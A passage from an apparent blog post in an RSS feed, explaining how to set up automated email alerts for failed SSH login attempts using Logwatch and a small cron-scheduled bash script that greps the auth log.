--mailto your@email.com --range today --service sshd</pre><h3>Step 3: Automate with Cron</h3><p>Logwatch is usually configured in /etc/cron.daily/00logwatch. To change email settings, edit the config:</p><pre>sudo vim /usr/share/logwatch/default.conf/logwatch.conf</pre><p>Set:</p><pre>MailTo = your@email.com<br>Detail = High<br>Range = yesterday</pre><h3>3. Use a Custom Bash Script with Cron</h3><p>For more control, use a simple script to scan logs and email the output.</p><h3>Step 1: Create a Script</h3><p>Save the following as /usr/local/bin/ssh-alert.sh:</p><pre>#!/bin/bash<br>LOG=&quot;/var/log/auth.log&quot;<br>OUTPUT=&quot;/tmp/ssh-failures.txt&quot;<br>echo &quot;Recent Failed SSH Attempts:&quot; &gt; $OUTPUT<br>grep &quot;Failed password&quot; $LOG | tail -n 10 &gt;&gt; $OUTPUT<br>mail -s &quot;SSH Alert from $(hostname)&quot; your@email.com &lt; $OUTPUT</pre><h3>Step 2: Make It Executable</h3><pre>chmod +x /usr/local/bin/ssh-alert.sh</pre><h3>Step 3: Schedule with Cron</h3><p>Edit the crontab:</p><pre>crontab -e</pre><p>Add this line to run every 30 minutes:</p><pre>*/30 * * * * /usr/local/bin/ssh-alert.sh</pre><h3>Final Thoughts</h3><p>Automated alerts help you respond to intrusions as soon as they happen. You can start with Fail2Ban and gradually enhance your setup with Logwatch and custom scripts.</p><p>Keep your system secure and stay one step ahead of attackers.</p><p><strong>Next Step:</strong> Want to automate even more? Set up file integrity monitoring with AIDE or Tripwire!</p><p>Thank you for reading this blog post. If you found the post helpful or interesting, here are a few ways you can show your support:</p><ul><li>🐦 Follow me on <a href="https://twitter.com/tshenolo">X</a></li><li>📺 Subscribe to my <a href="https://www.youtube.com/@tshenolo?sub_confirmation=1">Youtube channel</a></li></ul><p>Your support and engagement means a lot to me as an open-source developer.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9d776bdeb4ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>